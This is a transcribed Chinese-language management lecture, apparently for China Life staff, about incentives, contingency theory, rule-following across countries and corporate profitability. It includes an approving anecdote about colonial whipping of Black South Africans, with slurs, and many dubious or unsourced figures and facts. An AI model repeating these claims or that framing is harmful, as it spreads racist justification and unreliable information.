所以同样的市长,天津市就不行。天津市长听说凡事向***汇报,结果天津市弄得现在这个样子。结果天津现在传出一句风凉话,***这个市长,把一个直辖市管得县城一样。就是这样来的,你要去过天津就知道了,可惜这个地方。我其实三年前到北京和天津我就发现这个现像,那时我在北京碰到几个高阶层的人,其实天津和北京两个直辖市靠得这么近,干脆合并算了。人家都说天津离皇上太近,所以皇上给他一种压迫。其实真正的理由是这个理由是这个理由吗?天津有条海河,我们上海也有条苏州河,天津有个海安公路,我们上海有个外滩,其实是一样的。民国初年的天津,比北京还繁荣,记得吗?那时候买泊来品还要天津去,外国领事馆都在天津。袁世凯还住过天津,傅仪都住过。所以今天闹成这个样子,说穿了就是管理人员的问题。我结果讲了讲,北京笑一笑,没想到今天传出新的消息,叫做大北京计划,果然不错,英雄所见略同,大家的想法都一样的。大北京计划出来了,涵盖天津,所以北京不好意思把天津这个名字取掉,但是现在北京开始管天津了。从明年开始,大北京计划开始了,北京的高速公路,北京的地下铁,现在开始要向天津通了,这就证明北京现在要把天津涵盖起来。不这个样子,那个天津永远变成一个县城。

那么什么叫中和,是这样做的。我们不可以凡事都讲物质,认为给人民币就可以了,其实我们还要注意精神。我们不能够一动就惩罚,其实我们还要讲激励。我不能一动就把制度搬出来吓人家,其实我们还要重视人心。这些地方非常重要,给人民币这个谁都会用,一动就研究奖金,请问精神面你是否注意到?我读过一篇文章,说中国的企业,右边这三个还做得不够,他写不是我这样写。就是说不太注意人性管理吧!讲到人性,我提醒各位,人性跟人情是两个意思。噢!我圈一个就讲一个,我们光讲物质,却没有注意到精神。那么我来讲一个精神上有关的事情。什么东西是一种精神面?

在宋朝的时候有一个老妈妈,跟他的邻居说,我那个老三在一个将军的底下打仗受了伤,将军亲自跪在地下替他扎伤口,说着,她就哭起来。很感动是不是?她说不是的,我的老大原来也在他底下,一受伤,将军一跪在地上替他包扎伤口,他就报销了,打仗奋勇的杀敌,他就很快报销了。后来我那个老二又去,又受伤,也是这样包扎的,也报销了。现在完了,我那个仅存的老三,看样子也快报销了。这叫做精神面。如果你下次受了小伤,如果我们单总亲自给你包扎伤口,你很快就报销了。对不对?你含着眼泪,快报销销了。你回家给你老婆说,快报销了,这个伤口是我们单总给包扎的。请问,这样子要花多少人民币?不要花多少人民币嘛棕种观念,叫做精神面,其实我们做得不太够。

第二个,惩罚谁都会啊!要记过,要调职,要冷冻还不容易?问题是你激励他吗?激励。我有两次在摩托罗拉,他们的副总带我去参观他们的厂房,一个老美,走进去的时候看到一个中国员工在那里拧汗,男的,他走到旁边说,好孩子。结果他又跟我走到后面去了,一个女的在那里做瓶管检验,他又说NICEGIRL!那个女的也笑一笑,他就跟我出去了。其实摩托罗拉那个老美,跟他底下那两个中间差9级,9层,请问他为什么这样讲?这个叫做激励。我后来发现,西洋人非常注意这一点。因为我们当主管的,每天都快太忙了,不相信我请教你们一个问题,你们每天这么忙的时候,每天花几分钟,下去看看你们干部?你每天花几分钟,在办化验室里面走一圈?你干部送上来的那报告,你有没有先称赞再修改?当人家给你一个提议,你有没有先鼓励,然后指出他的盲点?我们都是激励不足,一动就训,一动就削,一动就拿命令出来唬!这个其实是缺少激励的。后来我才发现这个是要从小养成的,原来西方从小对他的子女就有激励,所以长大以后就养成这种激励的习惯!

人类学家达尔文,小的时候有一天是这样回去的,他爸一看就知道口袋里有什么东西啊!这边掏出来是只四脚蛇,这边掏出来是只金龟子。小心不要咬到腿了。不会的,长大以后成为人类学家。如果你的小宝是回来是这样子的?口袋里是什么东西啊?啊呀!啪一下,看你象个四脚蛇,赶快去读书!一天到晚玩蛇!这一打,打掉个人类学家,这就是没有激励。

去年有个女的来上海,专门研究非洲的猩猩珍古德,她在四岁的时候,有天下午不见,她妈妈到处找她。不见了,几乎都要到警察局报案了,黄昏的时候,那个家伙出现了,手上拿两个鸡蛋,一身鸡毛,头上还有点鸡屎,妈,我孵了一下午孵不出小鸡。原来躲到鸡笼里边。她妈妈一看,啊呀!我的天那!赶快洗个澡,我们吃完饭研究一下鸡蛋是怎么孵的。吃完饭以后母女两个讲了半天也讲不清楚。她妈妈又不动物学家。第二天她妈妈亲自到学校里问老师,回来再告诉珍古德。那时候她才四岁,这种观念叫做激励。如果是你的女儿一个下午不见了,结果从鸡笼里出来了,啪嗒!一下子下去,她哭了,你笑了。这样子其实叫做没有激励。

第三个是人性。讲制度谁都会,将公司的制度搬出来谁都会,但是一旦要讲到人性,我们做得又有点欠缺。所谓人性,他的意思是这样的,从人的心里面去想、思考、观察一种行为。那么回到我们刚才那个例子,三得利啤酒厂副厂长的那个爸爸死了,那个副厂长是个上海人,他的爸爸死了,三德利啤酒厂的老总得到消息,就到他家去看他,这个不稀奇啊!鞠躬安慰两句不稀奇,稀奇的是他跟他俩个站在一起,开始对客人鞠躬。另外陆续还有很多的同事来慰问,三得利啤酒那个总经理跟中国的副总站在一起,一直鞠躬,一直谢谢,人家还以为他的爸爸死了。你猜那个副厂长跟我说了句什么话?他说,余先生我没有想到,这个总经理是这样来的,所以我这辈子大概要死在三得利了。这就叫做人性,在人性面上激化你。所以日本三得利有个习惯,部属任何家里面如果有丧事,去的时候不要光是鞠躬,要跟他们的家属站在一起,对外人打礼,表示我们是一家人。这种就叫做人性。

我以上所讲的例子,从刚才所讲的三德力,跟我所讲的摩托罗拉,跟我所讲的宋朝将军的故事,哪一个需要花钱?这些跟钱都没有关系。统统是出于人的内心,这种观念统统叫做Y,所以我们的左边是X,这两个如果综合起来,就是X+Y=Z。其实在我们中国人寿不可能统统讲X的,也不可能统统讲Y的,是看情况综合起来运用。如果我们过度地偏X,就是一种集权式的管理,但还不到过渡偏Y的时候,你就开始给他参与,也是个乱七八糟,所以我们要看看视情况而定。

一讲到视情况而定就会有另外一个概念,我们来看一看。你们已经认识的李光耀,新加坡的前总理,他现在已经变成资政了,现在国务院总理是胡作栋,李光耀其实是我们中国人的后裔,所以我拿他举例,是因为他不是一个真正的西方人,李光耀是广东梅县客家人的后裔,所以,其实他的父亲和祖父与中国人有深厚的渊源。李光耀虽然从小新加坡长大,可是他受的教育都是儒家的教育和思想。长大以后送到英国剑桥读书,同时带着东西方的的思想,我觉得这种人是最厉害的。又受过中国儒家的熏陶,又到过西方见识过西方世界,就像邓小平一样,早年在中国长大,又看过欧洲,所以对邓小平的改革开放,跟他到过欧洲肯定很有关系。李光耀管新加坡其实只有四个字,这四个字足以表达X与Y的理论,叫做开明专制。他讲得很有道理,管一个国家和一个社会,精神上面要以尽量的开明,精神可以开明,但是法律一定要专制。所以,新加坡就变成这样子了。其实他的开明就是X,他的专制就是Y,就是X和Y加起来。新加坡就变成这样子了,正好合乎这个道理。所以精神上尽量开明,在中国人寿,我们采纳不同的意见,允许不同的声音,接受不同的策略,这个叫精神止非常开明。但是中国人寿对一些重要的规定,重要的要求,重要的制度,一定要非常坚持,这叫法令,就是法令要专制。精神要开明,其实要管新加坡就是这四个字,这本书其实出版的时候,我一夜之间就把它读完了,读到天亮,因为写得很好。这本书原文是英文的,后来翻成中文,在台湾出版,我想没有多久在大陆可以买得到翻译本。如果有一天在中国大陆出版,可以好好的读一读,管一个国家跟管一个公司是完全一样的,所以,读这个书好象在读企管一样,有道理。

现在回到我们另外一个专有名词。上节课我们讲到另外一个名词,就是菲德勒权变理论。权变是看情况的意思,什么时候应该用什么方法。这种观念是菲德勒权变理论,虽然也是一个外国人的名字,你不要去管他。我们要来研究一下,什么叫做权变理论。我们换一个图片试试看,所谓权变是怎么回事?世界上面的国家有三种。这里有两条线,一条是实线,一条是虚线,那条实线呢是法律制度跟规定,那条虚线写的人际关系,人情面子跟脸,我现在这个地方把它讲一下。我在武汉机场下来的时候,就看到武汉机场外面有很大的牌楼,上面写着六个很大的字,“先做人后做事。”我发现很多口号在国内叫起来的时候,大家或多或少的给它造成点误解,我看到这个口号以后,我就马上想起这个事情,我必须要在今天把话讲得很清楚,人性不等于人情,这是两码事。以后讲人性管理,不要一动就讲人情管理。人情管理是错的,这种事情是千万不要讲的。中国是一个很有人情味的国家,可是就因为这三个字,人情味,把我们国家弄得今天这个样子。我们要强调人性,不是人情。

现在你来看看那上面讲的人际关系,就是我们常常讲的人性。那个老陈这可是我的人情罗!啊呀,老魏你可要给我点面子喽!啊!老陈你要不要脸?我们经常讲这句话,这种观念叫做人际关系。有趣的是世界上面有三种国家,一种是低度开发、一种是中度开发,一种是高度开发。现在我们把它拿到中间来看一下。低度开发、中底开发跟高度开发是不是可以也解释成公司有三种,中国人寿公司是个低度开发公司?还是中度开发公司,还是个高度开发公司?我不想下结论,我来讲中国好了。那么中国是不是高度开发国家?问问联合国就知道了,联合国在去年出版了世界年鉴,全开发的20个国家里面,中国不在里面,台湾也不在里面,新加坡在里面。这个就证明,在联合国的眼中,世界上面186个国家,中国并是高度开发。这就证明欧洲的比利时,比我们还小,居然是高度开发国家,我们中国反而不是。中国在世界开发里面,名列第56名。这就证明,我们中国常常说我们是经贸大国,但是没有想到在联合国的高度开发里面,我们却不在里面,就是我刚才讲的北京的教授讲的,中国钢铁大国,但不是钢铁强国,这难怪世界开发排名第56名。什么原因?就是这个图,我们现在开始讲这个问题。

高度开发国家像德国,他的法律制度跟规章是吊在上面的。奇怪那个低度开发国家,也是法律制度跟规章是吊在上面的。有道理,因为高度开发国家就像个高度开发的企业一样,跟他一讲法律跟规章,他就接受,习惯地接受,自然而然地接受。但是对那种低度开发国家,他害怕,强迫他接受,所以他不得不接受,因为会处罚,这两种人都是把法律制度规章吊在上面。只有碰到我们中国人这样的社会,那个法律制度规章那条线就突然下去了。你看到了没有,那个实线到那里就下去了,那个虚线起来了,那根虚线就是人际关系。

好,我们先讲右边那个,高度开发国家为什么遵守法律制度规章?我在法兰克福,有一次三个德国人陪我回酒店,晚上应酬,手上的表指的是晚上一点,红灯,三个德国人就在那里等着。还用问吗?我当然站在旁边,其实那个时候天上下着细雪,那是一个初冬的晚上,而且我看了一下,方圆200公尺内没有人,所以那是根本没有人的晚上。这些德国人请问为什么不冲过去?你不要说日耳曼人优秀,我不见得日耳曼人优秀?真正的原因是他不敢过去?如果被摄像机摄到了,或有任何一个老太太晚上睡不着出来看到了作证,这个德国人的下场就不是这样子了。所以英国,法国和德国不是生来都优秀,全世界的人种都一样的生下来时,是看法律制度和规章怎么去规范他。假设有个德国人闯过去被看到了呢?那个后果就不是这样子了。没隔几天,保险公司电话就到了,假如说他叫凯里,你的保费,明天开始增加1%。为什么?我们刚刚接到交通局的通知,你闯红灯,按照我们的逻辑,这种人很危险,所以保费要增加1%。你敢不敢说,那我不想保。不想保,那你就退保。因为计算机已经输进去了,全德国的保险公司都知道你闯红灯。所以每一家保险公司都是增加你的保费,不要保就明天来解约。所以这叫无奈。没有多久太太也进来了,老公,银行通知我们分期付款,15年改成10年,发生什么事了?因为我闯红灯。啊!闯红灯?我们家已经没有钱了,你搞这种事情,你自己想办法。没有多久,你这个宝贝儿子从学校回来,爸,好奇怪啊!老师叫我把学费现金送过去,说不能分期付款。因为爸爸闯红灯,啊!爸你闯红灯!难怪同学都笑,下礼拜我不想去学校了,真丢脸。你如果在德国想闯红灯,你不怕这个样子,你就闯吧!所以日耳曼人不是生来优秀,是法律制度和规章挂在上面。

奇怪,非洲南非那个国家居然也不闯红灯,为什么呢?那叫做低度开发。也不闯。那些非洲人看见红灯,也是乖乖的站在那里。后来我才知道是英国人教育的结果,不管你喜不喜欢英国人,凡是英国管过的地方都还不错。你看英国管过香港,香港现在这样子。你也别忘了英国管过印度,印度的文官制度统统用英国的,你也别忘了埃及曾用过英国的语言,因为埃及也当过英国的殖民地,更别忘了英国曾统治伊拉克。凡是英国人管过的地方,都有他的效力在。当初英国人管南非的时候,南非人也是闯红灯的,抓到了以后,一个很简单的方法,就是红灯那个地方把他拷起来。早上如果抓到就拷到晚上,这样拷着,英国人讲了,拷一个黑人,一千个黑人很快就会知道。如果下次又是他呢?那就不一样了,不是光把人拷在这里算了,那个英国人就会拿皮鞭过来。打他,不要脸的东西,啪,不要脸的东西,啪,贱骨头!啪,不打不成器。英国人讲,打一个黑人,一万个黑都会知道。黑人统统不闯红灯,一看到红灯,统统不闯,你知道为什么?也是那句话,法律制度跟规章。

可是我在上海的马路看到情况不是这样,一个妈妈带一个小孩过马路,他拉着妈妈的手,妈!老师说红灯不能过马路。妈妈说,那么你留下,我过去产。那个小孩就跟妈妈过去了。所以毁掉中华民族的都是那些妈妈。那么,你留下吧!所以法律制度跟规章学校里教过的,毁掉学校的规定,破坏的都是父母。所以,这些子女长大了是不可以守法的,那么中国社会为什么要强调人际关系呢?我们把这个箭头回到中度开发。

在我们这个社会里面强调人际关系,中国有句名言,结婚看父母,死了看子女。我有一次在上海和平饭店下来,办完事下来要出去,看到一楼,二楼都是客人。那么多人来结婚,我在想谁结婚?中国有句话结婚看父母,死了看子女,我刚才讲了。我好奇的打听,打听出来了,一个解放军少将,他的儿子娶了一个上海中学校长的女儿,结果他们家办150桌,万家云集,水泄不通,摩肩接踵,在那里庆贺,这个就是中国人讲的人际关系。于是大家每天在搞人际关系,人情、面子、脸。

我告诉你我的经验,我在美国博克兰大学读书的时候,我的同班同学洛克菲勒,他的爷爷是美国有名的石油大王,他的爸爸是美国纽约州州长,以后当副总统,那时候他还没有当副总统,我那个同学妹妹结婚,要嫁人,给了我张帖子,一看啊呀,洛克菲勒家族要结婚了,我那天早开始就不吃了。我在美国也是穷的,好不容易这一顿能打打牙祭,早上就不吃了。到了中午马上饿了个头昏眼花,勉强喝了杯可乐,吃了两块饼干,硬熬到晚上,去的时候腿都发软了。结果第一道上来的是一个点心,我就吃了一点点,第二道上来的是果汗,喝了半杯,第三道上来的是三明治,我就勉强吃了一块,再上来就是水果,中间上水果,又吃了东西就没有了,我就给同学讲了,塞姆过来,他是我同班同学,我说搞什么东西啊?我说我从早上就没有吃,他一听就笑了,他说,小余啊!我爸爸是纽约州州长,我爷爷是石油大王,他们两个都坐在那里,但是这个婚礼跟他们没有关系。我妹妹爱上了一个麻省现工学院生化学博士,他们两个非常的恩爱,但是钱有限,婚礼就只能办成这样,跟我爸爸,我爷爷没有关系。对不起了,小余,等一下我出去请客,陪你吃宵夜。

这个故事给你什么启示?美国人讲得很清楚,我爸爸是我爸爸,我爷爷是我爷爷,人情在他们那边是不重要的,大家看事情办。尼克松总统有一天在白宫里面,坐在他的椭圆形的窗前,往那个窗外的草坪上说,恩,那个剪草皮的小孩好可爱啊,胖胖的,我那个老大和他一样的。人家说,总统先生,那是你少爷。啊!我的小孩,一看,果然是他的小孩。我爸爸是美国总统是他的事,我在白宫剪草皮,赚零花钱是我的事。所以我们还讲句开开玩笑的话,***和***的儿子会在中南海剪草皮吗?不要讲的这么大了,杭州市市长的儿子会在杭州市的门口修花剪草吗?所以,这是他们生下来的观念,我爸爸是我爸爸,我是我。所以在他们的社会里面,法律制度和规章放在上面。

中国人一死,就看看儿女是谁?大陆因为现在用火葬,就看不出这个场面。在以前老北京就会有场面,看那个棺材抬出来,就知道是谁死了。北京人有句话说抬杠,你知道是什么意思吗?就是抬棺材的意思。最穷的人死了叫单杠,一根,前面一根,后面一根,稍好一点的叫双杠,再好点叫四杠,前后左右这样子抬。再是8杠,16杠,32杠,64杠,当棺材抬到64杠的时候,他中间有杯水摆在棺材上面,这个水不会出来,这个是有钱人家死了。慈禧太后死的时候是180杠,最后北京城出不去,所以改为86杠。所以证明人死了看子女,活着看父母,这就是中国的人际关系。

其实一个社会常常讲人际关系,这个社会是中度开发社会,所以中国一看到这句话,就要承认中国是中度开发国家。现在回来讲中国人寿,中国人寿是什么放在上面?如果是法律制度跟规章,不外乎是高度就是低度开发,高度是大家都接受,低度是罚得他怕。如果是中度呢,就是在那里讲人际关系。天天在那里卖弄人际关系,人情、面子、脸。所以这个就是所谓菲德勒权变理论,可惜菲德勒讲权变理论的时候,没有像我这样讲。用例子来触动他,原来一个社会和企业也是这个样子,所以我讲课特别不喜欢讲理论,喜欢讲案例,就是因为这种案例听起来特别有触动,就知道原来一个公司是这样子。

毛病六:忘了公司的命脉:利润

我们都晓得中国在改革开放以后,整个国家迈进市场经济。现在这个话大家都在讲,其实我们稍微客观点观察,就知道我们国家,还没有真正的达到市场经济。我们承不承认,整个中国其实是20%,最多30%的市场经济,还有是70-80%是计划经济,毕竟一个国家的开发和成长不是一下子翻过来的,他需要一段时间,可是我前面讲过了,叫做中国不能再等待,朱总理其实早已讲过这句话。中国不能再等待,这个门一开,就开始要竞争了。你记得中国政府把中国邮电,一刀切下去切成四块,现在又听说要把中国电信拿来,再一刀切成三块,这个叫分营。所以,国家受不了。朱镕基讲了一句有名的话,干脆让中国提早进入WTO,让世界来改造中国。受不了,养这么多人受不了。朱先早生曾经代理过中国人民银行行长,现在是戴相龙?当初朱先曾经干过中国人民银行的,他讲过一句还让得吗?替我准备100口棺材,其中一口留线我,这就证明,朱先生是豁出去了。后来的改革解放军,军人就是军人,搞什么企业?统统不要做,叫解放军把企业统统收起来,又得罪了很多解放军领导。后来开始改造国营企业,立行下岗政策。就中国人寿和中国人寿保险,就这样慢慢起来的,这些都是国家的政策,为什么?4个字,养活自己。最后,他就决定下岗,以前下岗他还给点津贴,以后连点津贴都没有了。朱先生讲,全国这么多公务员,我养不下去,为什么?我们看一个图片,也就知道朱先,忧愁是有道理的。其实,朱总理是非常的忧愁。

《中国马上就要面临崩溃》,其实这本书不是外国人写的,是中国人。这个人在美国后来变成一个华裔,后来回到上海,工作了20年,写下这本书,畅销的很,在香港都买的到,但是中国大陆还没有出版翻译本。这本书上简单的形容这么件事情,他说中国一进入WTO以后,外国的银行就会统统进入上海和中国各大都市,那一两年或三年后,中国人会把钱统统存在外国银行,为什么?因为他们对自己国家的银行没有信心,怕这个钱有一天会拿不到。如果这些钱统统存放在外国银行,我们来看看中国现在面临什么问题?公元1999年,中国政府的中央公债是九千九百亿人民币,在2000年,终于突破一兆,今年是一兆一千亿,就是中央政府的公债是一兆一千亿。中国4大银行:中国银行,建设银行,农业银行跟工商银行的合起来的债务是3500亿,所以一兆一千亿加3500亿,是一兆4500亿的债务。银行呆帐,其它的小银行还不算。中国银行的呆帐有多少?吊帐就是收不回来的钱。怎么催都催不回来,眼看是没有人想还,中国银行的呆帐是3兆5000亿,欧洲的10倍,整个欧洲只有中国的1/10。我们一个中国就是10个欧洲的呆帐,3兆5000亿。北京2008年要办奥运会,基本预算1800亿,追加预算1200亿,总预算3000亿。中国政府公元1996年-2004年,10年里面的总预算是六兆。长江三峡水坝计划总预算是8000亿,附加预算是2000亿,总共预算是一兆。请问,这些钱从哪里来?我就这么简单地问,从哪里来?就是不停的发行公债,不停的发行人民币。所以人民币有个很特殊的现象,对外是强势货币,一直在升值,对内是弱势货币,它一直在贬值。看看上海跟杭州的房地产就知道了,人民币在国内里面在悄悄地贬值。但是由于在国际上面,因为拥有大量的美金,它在升值,这种现象叫做矛盾离差,是人民币碰到一个痛苦,世界各国都在看,人民币什么时候会贬值。一贬值就会带动中国的通货膨胀。你如果是朱总理,你会不会非常的担心,所以这个图片就出来了。虽然这个图片是解放前的图片,可是这个书是去年刚刚出版的书,说明了中国有这种财政危机,我们但愿这个书有点夸张,但愿我们伟大祖国不会碰到这种问题。但是全中国人民都要把这个话摆在心上,中国未来是一锅很严重的财政负担,政府要养活这么庞大的人民,大家都要有这个责任,替国家创造利润。

现在我们来看看这个话讲的意思。我们的话题的第一句话是怎么讲的,没有利润,一个公司有再好的产品,再高的形象,再好的员工,很快就陷于困境。即使你的形象再好。以后不要常常跟人讲,中国人寿是全中国最大的保险公司,中国人寿有钢铁一样的队伍,人家只问一句话,赚钱吗?老外就问一句话,赚钱吗?公司大没有用,公司大赔钱的很多,当然这是我的假想。我们来讲几个现实的事情,你知道赚钱吗?这句话是非常重要的。日本国民产值是中国的两倍,日本人口1亿1000万,中国最近人口普查出来了,接近14亿。中国有14亿人口,日本是1亿1000万,他们做出来的产值,是我们中国的两倍。换句话说日本1亿1000万人所做出来的东西,他的价值是28亿中国人做出来的东西。

这样子日本只有4家航空公司,我是航空公司出来的,他们只有4家,你知道中国几家,29家。我研究过了,现在又听说啬了三家,所以未来是29家加3家是32家,你知道中国为什么会做成这样呢?我们再来看美国,美国地大物博吧,世界第一强国吧?才只有12家,如果美国只有12家,日本只有4家,整个欧洲只有12家,我们整个中国怎么会弄成30多家呢?很简单,中国航空公司是先按地区分,中国北方航空,中国东方航空,中国南方航空,中国西南航空。然后按照省份:新疆航空,山东航空,云南航空。按城市分:长安航空,上海航空,杭州航空。最后按照地区分:钱塘江航空,徐家汇航空,虹口航空统统飞上去。其实4/5不赚钱的,我是航空公司出来的,飞机只要坐一半,肯定赔钱,坐2/3勉强打平,坐4/5,小赚,客机如果坐满4/5小赚。

有一次我从青岛飞上海,飞机上只有7个人,那航空公司肯定哭死了,我正在想他会如何哭的时候,上来了一个人,各位旅客,我们的引擎有点小小的问题,正要维修,但不知修到什么时候?公司想请各位到酒店去住一下,公司替你包下了美丽的海泉酒店,你们去那里住一个晚上免费。那6个人欢天喜地的冲下去了,只有我悄悄的跟那个讲话人的讲,我再给你一倍的费用,我买两张票,你再给我打架飞机,让我飞回上海吧。他笑一笑,因为我知道审不可能的事。那个班机是那天最后的一班,其实那个飞机没有坏,飞机如果故障,飞机师不会坐在前面,我是航空公司出来的,飞机如果是不会坐飞机仓里的,其实那个政策是公司下的最后命令,飞机师最后也只好站起来回家了。因为这一架飞机飞到上海,你知道要5万磅航空汽油全部烧光吗?7个鬼坐在那里,够他赚的吗?统统送去海泉大酒店,也划得来。所以,那6个人就欢天喜地的下去了,我也只好非常失望的也只好去。不然怎么办呢?没有飞机了。我是航空公司出来的,真正的理由3个字,不赚钱,不赚钱!所以你不要看上航这样飞,云南航空公司出来的,新疆航空公司这样飞,不容易赚钱的,你算算看,一架飞机要多少钱?这其实不大容易赚钱的。

那我们来说明一个道理了,拿企业出来讲讲看。你知道为什么不太容易赚钱?空调市场战云密布,各大企业出招迎战。全世界有什么地方,像中国这么便宜的买到一台彩电,还有空调,太便宜了。我以前从台湾过来带彩色电视机,最早,现在当然是不可能的,10几年前,现在巴不得要带彩电回去了。这么便宜,26寸的彩电,上海卖到2500-2600元,太便宜了,因为有个数字出来了,中国没有卖掉的彩电,有3000万部。前年生产到现在没有卖掉的,有1000万部,换句话去年1000万部,跟前年的2000万部和今年算到现在为止1000万部,合起来是4000万部,没有卖。你认为长虹要怎么杀?康佳要怎么杀?海尔要怎么杀?中国春兰要怎么杀呢?所以他们只有一个字,杀!杀!杀!就杀得这个样子!消费者当然说,杀得好,杀得好!对消费者来说,无所谓吧!可是你知道这是国家的血汗,哪个国营企业都不靠中国政府吃饭?在中国大陆有国营的,哪个敢说我不靠共产党?所以,可怜的共产党在养活他们,实际是拿了国家的钱在开玩笑,杀!杀!什么都搞。其实世界上没有几个国家,敢拿一个省或一个市来开航空公司的?你看看美国有纽约航空吗?有洛杉矶航空,有基督山航空吗?没有一个国家敢做这种事。其实讲穿了,讲得难听点,就是开国家的玩笑,反正是共产党拿钱,才弄成这种样子。所以政府不能这样搞的,这样搞下去,这个资源耗费的太严重了。

你看中国各省哪个省不做烟不做酒?哪省不想搞几架飞机?就弄成这个样子。我建议中国政府以后办任何企业,先问有没有利润,没有利润,干脆关起来,不要办。宁可上岗,宁可去上班,不要统统都在搞。为什么?因为一搞,资源就重叠,而且浪费,所以空调市场会弄得这个样子。长虹、格力、美的、海信杀成这个样子,跟春兰拼成这个样子,就是因为太多存货了。你不要看海尔,海尔是中国10大企业之一,你不要看这个张瑞敏像神一样的,我提醒你两件事情,第一是海尔那个负担,超过他的资产,因为海尔的资产是不值钱的,堆积如山的电视、冰箱、冰柜,是没有人要的,那些空调是没有人要的,你会买一个去年生产的洗衣机吗?所以他们堆积如山的存货是不值钱的。以我这个学财务的观点来讲,我认为那个东西不值钱的,但统统在他的资产里面,列为他的资产。可是海尔欠17家银行的钱,你知道吗?通通都不给,不想还,就是不还,你敢逼海尔,你敢把他弄倒,你敢把张瑞敏逼死?我就不相信。中国政府袒护张瑞敏,在中国哪个敢搞海尔,哪个能从海尔身上把钱挖出来?把海尔告倒,你告告看?海尔是个不准告倒的公司。所以没有办法,他欠国家银行的钱。我讲得更难听点,他还欠我的钱,结果我们跟他去要钱的时候,他除以2,要就要,不要就算了,我们只好除以2。这招厉害吧!所以我们张总讲得,除以2,你要还是不要,去告,去告好了。后来才知道,是不能告的公司!上面写着不准告。所以告不倒的,海尔是告不倒的,所以这样我何必要跟他们硬着干呢?下次就不要跟他做生意就是了。所以宝钢也欠我们的钱,你能把宝钢告倒吗?但还好,宝钢没有除以2,但是我用了很多关系,慢慢把他们的钱拿回来了,这就是他们的习惯,一动就不给。

其实讲穿了,在浪费国家的资源。我那句话伟大的共产党在养活他们,如果今天你叫张瑞敏自己掏腰包,你看他敢不敢搞海尔手机,敢不敢玩海尔计算机?在中国搞计算机会马上想到谁?中国联想市场占有率39%,我不知道海尔那根脑筋不对劲,现在要搞中国计算机。搞吧!跟中国联想打打看?又开始搞手机,好吗?搞?跟诺基亚,爱立信,摩托罗拉大家拼吧?还有菲利浦,还有阿尔卡特,大家拼吧!其实海尔是不能搞手机的,不能玩计算机的,你就搞你的冰柜,弄你的冰箱吗?唉,现在不知道哪根筋不对劲,开始搞计算机了。计算机你不要忘了,还有两个美国公司,一个IBM,一个是戴尔,通通都在中国,大家打吧!还有那个可怕的康柏跟惠浦,对不对?市场如果打到这个样子,我就怀疑海尔会不会赚钱?有一天如果海尔垮了,我当然不是幸灾乐祸,一定是这方面出了差错,他的多元是非常危险的。一个公司搞多元化,一定要自己在行,做生意要让住三句话,不内行的不要做,没有远景的不要做,没有利润的不要做。这句话如果你记住,你就不会随便的多元化,不内行的不要做,没有远景的不要做。结果他做的事情都犯这个毛病。我不是故意要去讲他,我们就是就事论事,用他做例子。

我们再看另外的例子,当然每个国家都碰到这个问题。这个倒霉的日本最大的百货公司,太平洋辰光倒了。那上面有个绿色的字,看看他欠了多少钱?1兆8千7百亿,虽然是日币也很吓人,结果倒了。去年7月12日,东京地方法院宣布破产,那么请看看镜头上面,站着那里,弯腰的是谁,他们小姐,可怜啊!公司一倒就碰到这种情况,对不起,我们公司宣布今天暂停营业,对不起,害你们白跑一趟,我们公司这么久了,又倒闭,对不起,东京、日本、株式会。那么请问站在面前,那些人是谁?客户。下次如果你们发生问题,就统统站在门口去。对不起,中国人寿经营到今天为止,对不起,浙江分公司到今天为止,收了你们的保费,对不起。人家会怎么讲?不要做就不要做,做不起就不要做,就这样乱搞!消费都就这么简单,你倒的那一天,人家就讲得很难听的,所以一个公司要好好的经营,他旦发生风险,一旦出现动乱,就会像这个样子,这是一个难受!

我们来看看网络公司,当你讲到网络公司,我们大陆这边,上海人知道比较有名的,听到网络公司你会不会想起王志东。再见,王志东!王志东哭走了,眼睛都红了,他都哭走了。王志东是搞IT的,在新浪网里面非常有名,是CEO,那又怎么样?我们知道的是不赚钱的。后来新浪网看到中华网上有2倔美金,就是说想要靠过去,嫁过去,结果发现,要嫁到中华网去,两个CEO一定要拿掉一个。要拿掉谁?当然拿掉王志东嘛,拿掉谁啊!是你要嫁过去啊!不是人家要嫁过来啊!结果把王志东逼走。王志东说我是创始人,我是CEO。人家说NOTHING,都不是,结果左边那个起来了,毛道力,毛道力是学财务的,本身对于财务操作非常的内行,所以整个新浪网的财务大权,都操在毛道力的手上。结果美国董事认为,恩,老毛可以。把他拉起来,把王志东给干掉了,当然消息传出来中华网也没有跟他合并。所以,阳光卫视把它弄过去了。杨澜是个女的,但是有这个本事,手上有钱。新浪网过来,就过去了。所以,今天杨澜是不学IT的,先吃掉新浪网。那新浪网又怎么样?学IT又怎么样?我问你,有钱吗?赚钱吗?过来,就过去了。所以他们被阳光卫视给兼并了。

除了新浪网,你会想起谁?搜狐,结果没有想到青鸟搜狐劳燕分飞。那边有一只青鸟说bye-bye,那只狐狸很无奈地走了。你知道搜狐现在亏多少钱吗?美国纳斯达克指针,搜狐一降,就亏了300万美金,伙计啊你看纳斯达克美金一下降,就少了300万美金,吓得北京的青鸟说bye-bye!结果没想到搜狐跟青鸟一分家,搜的力量就立刻削弱下去。将来会碰到什么命运现在不知道。

除了新浪网跟搜狐你还想到谁?我们现在来看第三页,都是网易惹的祸,其实丁磊两兄弟我都认识,哥哥是丁磊,弟弟是丁波,一个在北京,一个在上海。他们也欠我一点钱,后来也是要回来了。丁波和丁磊两兄弟,去年在衡山路进亭餐厅请我吃饭,大谈他们未来的远景,公司的状况以及发展的前途,和个人的宏观,以及一些灿烂的想法。我都说Wonderful!我当然希望他好,他是我的客户。如果他们能够灿烂,我多少能沾点油水呢!结果,没有想到今年春天传出来的消息,是网易开始有点不稳。我就觉得我的钱可能有点麻烦。果然今年夏天,钱就拿不到了。后来我死抠活抠的,今年秋天算是拿到了。今年夏天末了传出来的消息,是财务顾问想卖。网易卖多少钱,上报了,8000万美金。8000万人民币都卖不掉。你知道网络公司一卖就不值钱吗?因为网络公司没有什么不动产,像人家有机器啊,厂房啊。他们没有啊,就这几个脑袋瓜子坐在那里啊。除了几台破计算机,几个桌子、几个脑袋瓜,什么都没有啊!

